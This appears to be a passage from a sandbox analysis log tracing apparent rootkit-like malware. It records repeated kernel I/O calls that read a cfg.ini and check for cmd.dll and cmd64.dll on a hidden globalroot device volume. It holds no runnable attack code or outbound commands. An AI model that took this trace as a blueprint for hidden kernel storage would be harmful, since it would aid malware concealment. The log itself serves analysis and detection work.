_snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.840] KeEnterCriticalRegion () [0126.840] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.840] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0126.840] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.840] KeLeaveCriticalRegion () [0126.840] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.840] KeEnterCriticalRegion () [0126.840] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.840] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0126.840] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80037da8a0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0126.840] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.840] KeLeaveCriticalRegion () [0126.840] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0126.840] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.840] KeEnterCriticalRegion () [0126.840] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.840] ExFreePoolWithTag (P=0xfffffa8003acc820, Tag=0x0) [0126.840] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.840] KeLeaveCriticalRegion () [0126.840] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0126.840] ReleaseMutex (hMutex=0xf0) returned 1 [0126.840] Sleep (dwMilliseconds=0x124f80) [0126.860] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0126.860] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0126.860] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.860] KeEnterCriticalRegion () [0126.860] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.860] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0126.860] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0126.860] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.860] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0126.860] IdePortDispatch () returned 0x103 [0126.860] KeWaitForMutexObject () returned 0x0 [0126.860] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.860] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.861] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.861] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0126.861] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0126.861] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80037ed4c0 [0126.861] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.861] KeLeaveCriticalRegion () [0126.861] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0126.861] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.861] KeEnterCriticalRegion () [0126.861] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.861] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0126.861] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.861] KeLeaveCriticalRegion () [0126.861] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.861] KeEnterCriticalRegion () [0126.861] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.861] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0126.861] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0126.861] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.861] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0126.861] IdePortDispatch () returned 0x103 [0126.861] KeWaitForMutexObject () returned 0x0 [0126.861] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.861] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.861] KeLeaveCriticalRegion () [0126.861] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0126.862] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.862] KeEnterCriticalRegion () [0126.862] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.862] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b2c000 [0126.862] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0126.862] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0126.862] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.862] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0126.862] IdePortDispatch () returned 0x103 [0126.862] KeWaitForMutexObject () returned 0x0 [0126.862] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.862] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0126.862] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0126.862] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.862] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0126.862] IdePortDispatch () returned 0x103 [0126.862] KeWaitForMutexObject () returned 0x0 [0126.862] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.862] KeLeaveCriticalRegion () [0126.862] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0126.863] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.863] KeEnterCriticalRegion () [0126.863] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.863] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0126.863] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.863] KeLeaveCriticalRegion () [0126.863] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.863] KeEnterCriticalRegion () [0126.863] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.863] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0126.863] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80037da8c0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0126.863] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.863] KeLeaveCriticalRegion () [0126.863] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0126.863] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.863] KeEnterCriticalRegion () [0126.863] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.863] ExFreePoolWithTag (P=0xfffffa80037ed4c0, Tag=0x0) [0126.863] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.864] KeLeaveCriticalRegion () [0126.864] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0126.864] ReleaseMutex (hMutex=0xf0) returned 1 [0126.864] Sleep (dwMilliseconds=0x124f80) [0126.881] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0126.881] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0126.881] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.881] KeEnterCriticalRegion () [0126.881] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.881] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0126.881] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0126.881] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.881] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0126.881] IdePortDispatch () returned 0x103 [0126.882] KeWaitForMutexObject () returned 0x0 [0126.882] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.882] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.882] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.882] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0126.882] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0126.882] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80037ed4c0 [0126.882] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.882] KeLeaveCriticalRegion () [0126.882] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0126.882] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.882] KeEnterCriticalRegion () [0126.882] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.882] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0126.882] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.882] KeLeaveCriticalRegion () [0126.882] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.882] KeEnterCriticalRegion () [0126.882] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.882] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0126.882] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0126.882] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.882] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0126.882] IdePortDispatch () returned 0x103 [0126.883] KeWaitForMutexObject () returned 0x0 [0126.883] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.883] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.883] KeLeaveCriticalRegion () [0126.883] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0126.883] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.883] KeEnterCriticalRegion () [0126.883] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.883] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b31000 [0126.883] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0126.883] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0126.883] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.883] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0126.883] IdePortDispatch () returned 0x103 [0126.883] KeWaitForMutexObject () returned 0x0 [0126.883] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.883] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0126.883] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0126.883] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.883] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0126.884] IdePortDispatch () returned 0x103 [0126.885] KeWaitForMutexObject () returned 0x0 [0126.885] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.885] KeLeaveCriticalRegion () [0126.885] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0126.886] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.886] KeEnterCriticalRegion () [0126.886] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.886] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0126.886] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.886] KeLeaveCriticalRegion () [0126.886] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.886] KeEnterCriticalRegion () [0126.886] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.886] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0126.886] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bfaca0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0126.886] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.886] KeLeaveCriticalRegion () [0126.886] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0126.886] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.886] KeEnterCriticalRegion () [0126.886] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.886] ExFreePoolWithTag (P=0xfffffa80037ed4c0, Tag=0x0) [0126.887] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.887] KeLeaveCriticalRegion () [0126.887] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0126.887] ReleaseMutex (hMutex=0xf0) returned 1 [0126.887] Sleep (dwMilliseconds=0x124f80) [0126.906] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0126.906] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0126.906] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.906] KeEnterCriticalRegion () [0126.906] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.906] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0126.906] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0126.906] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.906] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0126.906] IdePortDispatch () returned 0x103 [0126.906] KeWaitForMutexObject () returned 0x0 [0126.906] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.906] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.906] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.906] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0126.906] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0126.906] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80037ed6c0 [0126.906] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.906] KeLeaveCriticalRegion () [0126.906] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0126.907] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.907] KeEnterCriticalRegion () [0126.907] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.907] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0126.907] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.907] KeLeaveCriticalRegion () [0126.907] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.907] KeEnterCriticalRegion () [0126.907] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.907] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0126.907] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0126.907] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.907] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0126.907] IdePortDispatch () returned 0x103 [0126.907] KeWaitForMutexObject () returned 0x0 [0126.907] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.907] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.907] KeLeaveCriticalRegion () [0126.907] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0126.907] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.907] KeEnterCriticalRegion () [0126.907] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.907] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b36000 [0126.907] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0126.908] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0126.908] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.908] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0126.908] IdePortDispatch () returned 0x103 [0126.908] KeWaitForMutexObject () returned 0x0 [0126.908] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.908] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0126.908] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0126.908] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.908] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0126.908] IdePortDispatch () returned 0x103 [0126.908] KeWaitForMutexObject () returned 0x0 [0126.908] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.908] KeLeaveCriticalRegion () [0126.908] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0126.909] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.909] KeEnterCriticalRegion () [0126.909] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.909] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0126.909] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.909] KeLeaveCriticalRegion () [0126.909] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.909] KeEnterCriticalRegion () [0126.909] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.909] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0126.909] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80037da500, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0126.909] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.909] KeLeaveCriticalRegion () [0126.909] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0126.909] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.909] KeEnterCriticalRegion () [0126.909] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.909] ExFreePoolWithTag (P=0xfffffa80037ed6c0, Tag=0x0) [0126.909] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.910] KeLeaveCriticalRegion () [0126.910] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0126.910] ReleaseMutex (hMutex=0xf0) returned 1 [0126.910] Sleep (dwMilliseconds=0x124f80) [0126.931] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0126.931] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0126.931] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.931] KeEnterCriticalRegion () [0126.931] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.931] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0126.931] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 